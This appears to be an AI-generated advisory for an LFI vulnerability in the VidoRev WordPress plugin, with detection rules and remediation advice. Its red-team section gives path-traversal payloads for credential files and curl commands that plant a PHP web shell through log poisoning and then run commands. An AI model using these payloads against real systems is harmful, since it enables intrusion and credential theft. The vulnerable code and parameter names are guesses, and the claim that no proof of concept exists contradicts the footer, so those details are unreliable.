CVE-2025-69373
Executive Summary
CVE-2025-69373 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the VidoRev WordPress plugin by Beeteam368. The flaw resides in improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure (e.g., /etc/passwd, wp-config.php), and under certain configurations, may escalate to Remote Code Execution (RCE) via log poisoning or file uploads. The vulnerability affects all versions of VidoRev up to and including 2.9.9.9.9.9.7. No official patch has been released, and no public proof-of-concept (PoC) or exploit code is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The VidoRev plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to:
- Immediately disable the plugin if no patch is available.
- Monitor the plugin’s official page for updates.
- Implement Web Application Firewall (WAF) rules to block LFI attempts.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Base Score: 7.5 (High)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: None
- Availability Impact: None
Threat Level: High. The vulnerability is easily exploitable remotely without authentication, and while it only directly impacts confidentiality, it can be chained with other techniques (e.g., log poisoning) to achieve full system compromise.
Deep Dive & Mechanics
The vulnerability exists in the VidoRev plugin’s handling of file inclusion parameters. The plugin likely uses a dynamic include or require statement where the filename is derived from user-supplied input (e.g., via $_GET, $_POST, or $_REQUEST) without proper sanitization or validation.
Root Cause:
- The plugin fails to validate or sanitize the filename parameter before passing it to a PHP
includeorrequirefunction. - An attacker can supply path traversal sequences (e.g.,
../../../../etc/passwd) to include arbitrary files from the server. - The vulnerability is classified as CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion'), but in this case, it is limited to Local File Inclusion (LFI) because the
allow_url_includePHP directive is typically disabled.
Attack Flow:
- Attacker identifies a vulnerable endpoint (e.g.,
?page=...or?template=...). - Attacker sends a crafted request with path traversal payload.
- The server includes the specified file, outputting its contents in the response.
- Attacker reads sensitive files (e.g.,
wp-config.phpfor database credentials).
Potential for RCE:
- If the attacker can write to a log file (e.g., via Apache/Nginx access logs) or upload a file (e.g., via a media upload feature), they can inject PHP code and then include that file to execute arbitrary commands.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code pattern is hypothesized based on common LFI vulnerabilities in WordPress plugins.
Vulnerable Code (Hypothetical):
<?php
// Vulnerable: Direct use of user input in include
$page = $_GET['page'];
include("templates/" . $page . ".php");
?>
Patched Code (Hypothetical):
<?php
// Patched: Whitelist allowed files
$allowed_pages = array('home', 'about', 'contact');
$page = $_GET['page'];
if (in_array($page, $allowed_pages)) {
include("templates/" . $page . ".php");
} else {
// Handle error
echo "Invalid page.";
}
?>
Key Differences:
- Vulnerable: No input validation, allowing path traversal.
- Patched: Whitelist-based validation prevents inclusion of arbitrary files.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress instance with VidoRev plugin version <= 2.9.9.9.9.9.7.
- Knowledge of a vulnerable parameter (e.g.,
vidorev_page).
Exploitation Steps:
Identify Vulnerable Endpoint:
- Use a web scanner or manually inspect plugin source code for
include/requirestatements. - Common parameters:
page,template,file,view.
- Use a web scanner or manually inspect plugin source code for
Craft LFI Payload:
- Example:
http://target.com/?vidorev_page=../../../etc/passwd - URL-encode if necessary:
..%2F..%2F..%2Fetc%2Fpasswd
- Example:
Read Sensitive Files:
/etc/passwd– User enumeration./var/www/html/wp-config.php– Database credentials./proc/self/environ– Environment variables.
Attempt RCE via Log Poisoning:
- Inject PHP code into Apache/Nginx access log by sending a malicious User-Agent.
- Include the log file:
?vidorev_page=../../../../var/log/apache2/access.log - Execute commands via the injected payload.
Example Payload (Log Poisoning):
curl -A "<?php system($_GET['cmd']); ?>" http://target.com/
curl "http://target.com/?vidorev_page=../../../../var/log/apache2/access.log&cmd=id"
Blue Team (Defensive)
Detection:
- Monitor for path traversal patterns in HTTP requests (e.g.,
../,..%2F). - Alert on inclusion of sensitive files (e.g.,
/etc/passwd,wp-config.php). - Use WAF rules to block LFI attempts.
Hunting:
- Search web server logs for requests containing
vidorev_pageor similar parameters with path traversal sequences. - Look for unusual file inclusion errors in PHP error logs.
Lab Setup:
- Use a local WordPress installation with VidoRev plugin.
- Enable detailed logging in Apache/Nginx and PHP.
- Simulate attacks using Burp Suite or custom scripts.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing
../or..%2Fin parameters likevidorev_page,page,template. - Requests to
/etc/passwd,/wp-config.php,/proc/self/environ. - User-Agent strings containing PHP code (e.g.,
<?php system(...); ?>).
File System IOCs:
- Unexpected inclusion of
/etc/passwdor other system files in web responses. - Modified log files with PHP code injections.
Log IOCs:
- Apache/Nginx access logs showing path traversal patterns.
- PHP error logs with
include()failures for non-existent files.
Detection Engineering
YARA Rule
rule CVE_2025_69373_LFI_Detection {
meta:
description = "Detects LFI attempts targeting CVE-2025-69373 in VidoRev plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-69373"
strings:
$path_traversal = /(\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c)/
$sensitive_file = /(etc\/passwd|wp-config\.php|proc\/self\/environ)/
$vuln_param = /vidorev_page|page|template|file/
condition:
$path_traversal and $sensitive_file and $vuln_param
}
Sigma Rule
title: CVE-2025-69373 LFI Attempt
id: 8f4c3b2a-1d5e-4f7a-9c8b-0a1b2c3d4e5f
status: experimental
description: Detects path traversal attempts targeting VidoRev plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- 'vidorev_page='
- 'page='
- 'template='
- 'file='
cs-uri-query|contains|all:
- '../'
- '..%2F'
- '%2e%2e%2f'
condition: selection
falsepositives:
- Legitimate use of similar parameters in other plugins
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-69373 LFI Attempt"; flow:to_server,established; content:"vidorev_page"; http_uri; nocase; content:"../"; http_uri; distance:0; pcre:"/(\.\.\/|%2e%2e%2f)/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the VidoRev plugin until a patch is released.
- Implement WAF rules to block path traversal patterns (e.g.,
../,..%2F). - Restrict file inclusion by disabling
allow_url_includeinphp.ini.
Long-term Fix:
- The vendor must release a patched version that validates and sanitizes all user-supplied filenames.
- Use a whitelist approach for allowed files.
- Apply input validation and output encoding.
Workarounds:
- Use a reverse proxy to filter malicious requests.
- Monitor logs for LFI attempts and block offending IPs.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.